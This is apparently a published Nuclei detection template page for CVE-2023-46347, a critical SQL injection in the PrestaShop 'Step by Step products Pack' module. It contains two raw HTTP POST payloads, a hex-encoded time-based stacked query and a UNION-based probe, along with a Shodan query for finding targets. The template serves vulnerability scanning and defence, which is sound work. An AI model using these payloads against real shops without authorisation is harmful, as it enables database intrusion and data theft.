PrestaShop Step by Step products Pack - SQL Injection

ID: CVE-2023-46347

Severity: critical

Author: MaStErChO

Tags: time-based-sqli,cve,cve2023,sqli,prestashop,ndk_steppingpack,ndkdesign

Description

In the module “Step by Step products Pack” (ndk_steppingpack) up to 1.5.6 from NDK Design for PrestaShop, a guest can perform SQL injection in affected versions.

YAML Source

id: CVE-2023-46347

info:
  name: PrestaShop Step by Step products Pack - SQL Injection
  author: MaStErChO
  severity: critical
  description: |
    In the module “Step by Step products Pack” (ndk_steppingpack) up to 1.5.6 from NDK Design for PrestaShop, a guest can perform SQL injection in affected versions.
  reference:
    - https://security.friendsofpresta.org/modules/2023/10/24/ndk_steppingpack.html
    - https://stack.chaitin.com/poc/detail/3977
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2023-46347
    cwe-id: CWE-89
    epss-score: 0.04018
    epss-percentile: 0.92057
    cpe: cpe:2.3:a:ndkdesign:ndk_steppingpack:*:*:*:*:*:prestashop:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: ndkdesign
    product: ndk_steppingpack
    framework: prestashop
    shodan-query: http.component:"prestashop"
  tags: time-based-sqli,cve,cve2023,sqli,prestashop,ndk_steppingpack,ndkdesign

variables:
  num: "999999999"

http:
  - raw:
      - |
        @timeout: 15s
        POST /modules/ndk_steppingpack/search-result.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        search_query=1%22%29;select+0x73656c65637420736c6565702836293b+into+@a;prepare+b+from+@a;execute+b;--

      - |
        @timeout: 15s
        POST /modules/ndk_steppingpack/search-result.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        search_query=1")+UNION+ALL+SELECT+NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(md5({{num}})),NULL,NULL,NULL,NULL--+-

    stop-at-first-match: true
    host-redirects: true
    max-redirects: 3
    matchers:
      - type: dsl
        name: Time Based
        dsl:
          - 'status_code_1 != 404'
          - 'duration_1>=6'
          - 'contains(content_type_1, "text/html")'
          - 'contains_any(tolower(response_1), "prestashop", "xipblog")'
        condition: and

      - type: word
        name: union-based
        part: body_2
          - '{{md5({{num}})}}'
# digest: 4a0a00473045022028f22fb52385fe869877a2828704d01b3a91429713de5af8b6f1a41f6ff78b07022100bfe77a555bc488cd27e875d8bb2317b3e1dd7c6835f373113a229cdc3fafdf7a:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/cves/2023/CVE-2023-46347.yaml"

View on Github